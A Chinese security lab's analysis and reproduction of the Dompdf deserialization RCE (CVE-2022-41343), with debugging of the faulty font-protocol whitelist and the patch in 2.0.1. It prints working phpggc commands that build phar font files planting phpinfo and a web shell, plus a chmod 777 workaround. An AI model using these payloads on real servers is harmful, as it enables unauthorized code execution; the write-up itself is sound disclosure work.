DomPDF库反序列化RCE漏洞
一、漏洞描述
Dompdf 是 PHP 中一个流行的库,用于从 HTML 中呈现 PDF 文件。Tanto 安全公司在 Dompdf 发现了一个影响2.0.0及以下版本的漏洞。这个漏洞是在 Dompdf v2.0.1中修补的。目前建议所有 Dompdf 用户尽快更新到最新版本。利用该漏洞会导致远程代码执行。
二、漏洞影响
DomPDF <= 2.0.0 & PHP <= 7.x
三、漏洞复现
3.1 环境搭建
3.1.1 系统环境
CentOS 7
3.1.2 PHP环境安装
这里选择使用小皮面板搭建PHP环境
由于docker版本的小皮面板存在部分环境配置问题,直接选择了无docker版本的搭建方式
yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
注意搭建环境前先进行环境备份或虚拟机快照、docker镜像输出等。
命令执行完毕后使用“xp”命令即可在命令行调出小皮面板
关闭虚拟机防火墙后即可在宿主机使用浏览器访问小皮面板并进行相关配置
在这里选择了安装以下软件环境:
– php 7.1.31
– nginx 1.15
– composer 2.1
3.1.3 web站点建立
-
新建配置如下的网站
-
在系统中利用composer安装DomPDF库 2.0.0 版本
composer require dompdf/dompdf:2.0.0
-
在wwwroot目录下新建php后端控制层(gen_pdf.php)
-
输入以下代码进行测试
<html>
<body>
<h1>Hello Dompdf</h1>
</body>
</html>
-
发现成功生成pdf
3.2 POC验证
1. 利用进行简单修改后的官方POC进行漏洞验证,整体的执行流程与官方的验证流程一致,执行结果如下(以上传phpinfo为例):
四、漏洞分析
4.1 漏洞调试
-
DomPDF 2.0.0版本中增加的内容:$allowedProtocols 验证列表,仅允许 file://,http://,https://。在src/Otions.php
2. src/Css/Stylesheet.php
这里因为默认禁用了phar一定程度解决了之前的问题
-
导致CVE-2022-41343的原因:src/FontMetrics.php的以下函数
这里的第一个if验证了协议但是即使不满足也不会退出,而是会继续执行剩余代码
-
这样的问题导致,我们可以通过data协议写入一个phar文件然后通过phar协议发送请求来触发反序列化。
-
根据上文所述的漏洞函数位置,在以下部分尝试输出日志信息(以下文件均为DomPDF库中的src路径作为根路径的文件)
– ./Dompdf.php
– ./Helpers.php
数次请求后输出的日志如下
– DomPDF
– Helpers
⚠️ 可以看到这里控制层输入的参数都能正常输入到DomPDF中,但是在Helpers中从未出现data协议或phar协议
-
重新阅读官方文档,发现遗漏了一个关键的函数(src/Css/Stylesheet.php)
利用日志逐步调试
-
首先在该函数内输出日志信息,获得的日志信息如下:
发现普遍是系统css文件的加载,并没有我们传入的data协议的数据流入
-
发现临近的另一个函数:load_css()
1666328892 in function load_css @font-face { font-family:'exploit'; src:url('data:text/plain;base64,AAEA......1C'); font-weight:'normal'; font-style:'normal'; }
1666328892 in function _parse_css match something @font-face { font-family:'exploit'; src:url('data:text/plain;base64,AAEA....1C'); font-weight:'normal'; font-style:'normal'; }
1666328892 in function _parse_css match something font-face
-
可以看到这里匹配了font-face属性,随后跟随内部函数__parse_font_face()继续深入分析
1666328892 in function _parse_font_face font-family:'exploit'; src:url('data:text/plain;base64,AAEA …… 1C'); font-weight:'normal'; font-style:'normal';
-
可以看到这里已经传入了我们传进来的参数,随后继续观察该函数,发现其中在该函数的最后的部分调用了官方文档中提到的registerFont()函数 -
进入该函数中,利用日志首先检查传入该函数的内容
1666338693 in function registerFont data:text/plain;base64,AAEA …… Qg==
-
可以看到我们的恶意的请求已经加载了进来,不难注意到,在这个函数中有以下几个可疑的部分存在
-
随后去查看本地的临时文件目录(/tmp)下是否存在尝试上传的字体文件,发现并没有,根据日志排查发现问题出现在如下这一行代码中的返回的字体变量($font)为空
$font = Font::load($localTempFile);
-
进入该load函数继续进行排查,发现函数结构还是比较清晰的
-
可以看到主要就是截取文件的前四个字符,根据内容特征判别文件类型随后根据类型进行加载,而我们这里使用的字体文件使用文本编辑器打开后与系统自带的字体文件对比发现其中多出来了一个文件路径
-
删除这一行路径后发现可以正常完成匹配了
1666338693 class FontLibTrueTypeFile
1666338693 class /tmp/dompdf-font-vjRVzD
-
随后再去/tmp文件夹下查看即可发现字体文件写入成功
-
跟随第7步的代码继续往下,可以发现下一个问题是ufm文件不能正常写入,排查后发现实际是文件夹权限问题。由于小皮面板默认是赋予root权限的,因此其网站文件夹下均仅支持root用户添加文件,因此执行以下代码对文件夹进行降权后即可正常写入
sudo chmod 777 /www/admin/a.com_80/wwwroot/vendor/dompdf/dompdf/lib/fonts
-
随后执行第二部分payload即可正常触发反序列化漏洞
4.2 后门字体文件上传(漏洞核心逻辑)流程
在用户输入POC产生的第一步的恶意payload后通过DomPDF提供的loadHTML()方法开始进行html解析。如果这一步获取的html代码中带有css代码,则会调用Stylesheet.php中的load_css()方法。如果在该方法中判定含有font-face(即字体文件引入),则调用registerFont()方法进行处理,在处理过程中虽然会有协议验证,但是由于对白名单的校验逻辑错误,导致可以进行恶意字体文件写入。
五、复现过程中遇到的问题及解决方法
5.1 漏洞复现发现分别输入两个payload后不能正常生成文件
5.1.1 问题描述
在完成通用字体的输出以及phar文件的生成并执行poc后不能正常在靶机上生成恶意字体文件
5.1.2 解决方法
最终发现问题是ufm文件不能正常写入,排查后发现实际是文件夹权限问题。由于小皮面板默认是赋予root权限的,因此其网站文件夹下均仅支持root用户添加文件,因此执行以下代码对文件夹进行降权后即可正常写入
sudo chmod 777 /www/admin/a.com_80/wwwroot/vendor/dompdf/dompdf/lib/fonts
5.2 PHPGCC反序列化利用工具问题解决方法
-
在 前文还提到了一个问题,就是在利用phpggc工具生成后门字体文件的时候出现了不能正常使用带空格的命令的问题,今天正好在编写poc和exp,顺手进行一个临时性的修复。具体的方案就是修改/phpggc-master/lib/PHPGGC.php中的generate函数,手动拼接被识别为多个参数的参数
-
随后重新执行命令
php -d phar.readonly=0 ./phpggc Monolog/RCE1 system "echo '<?php phpinfo();?>'>/www/admin/a.com_80/wwwroot/test.php" -p phar -pp /home/river/downloads/font.ttf -o /home/river/downloads/font-phpinfo.phar
-
成功得到带有phpinfo的后门字体文件,再利用该文件进行payload生成即可。
5.3官方POC的一点小问题
-
官方的poc在生成data_uri_pure的时候会进行两次url编码,经过实际测试是不需要的,加上以后反而无法成功利用漏洞。
-
如果要在代码固定一个base64的字符串,要注意url编码的问题。
5.4 POC结果(phpinfo)
后门字体文件生成
php -d phar.readonly=0 ./phpggc Monolog/RCE1 system "echo '<?php phpinfo();?>'>/www/admin/a.com_80/wwwroot/test.php" -p phar -pp /home/river/downloads/font.ttf -o /home/river/downloads/font-phpinfo.phar
利用POC生成payload
直接将未encoded的payload复制到前文环境中的输入框中点击生成pdf即可成功利用
POC验证
5.5 EXP结果(RCE)
后门字体文件生成
php -d phar.readonly=0 ./phpggc Monolog/RCE1 system "echo '<?php system($_GET[0]);?>'>/www/admin/a.com_80/wwwroot/test.php" -p phar -pp /home/river/downloads/font.ttf -o /home/river/downloads/font-webshell.phar
利用POC生成payload
直接将未encoded的payload复制到前文环境中的输入框中点击生成pdf即可成功利用
EXP验证
6漏洞修复
这个漏洞是在 Dompdf v2.0.1中修补的,建议所有 Dompdf 用户尽快更新安装到最新版本。
访问官方在github上的项目(https://github.com/dompdf/dompdf),下载最新版本的源码,可以发现在最开始导致该漏洞的if协议白名单条件判断部分已经补充了return语句,避免了该漏洞的出现:
7总结
以上是针对DomPDF库CVE-2022-41343漏洞的完整分析过程,通过构造恶意字体文件和反序列化payload,在知晓对方web服务路径的前提下可以执行任意的恶意代码。
参考链接:https://tantosec.com/blog/cve-2022-41343/
永信至诚KR实验室
永信至诚KR实验室专注于网络安全创新技术及攻防技术研究,研究内容覆盖操作系统安全技术研究、机器学习与自动化技术研究、Web 安全与渗透测试、移动端恶意软件分析、网络蜜罐捕获技术研究等方向。
点“阅读原文”查看漏洞原文
原文始发于微信公众号(i春秋):DomPDF库反序列化RCE漏洞分析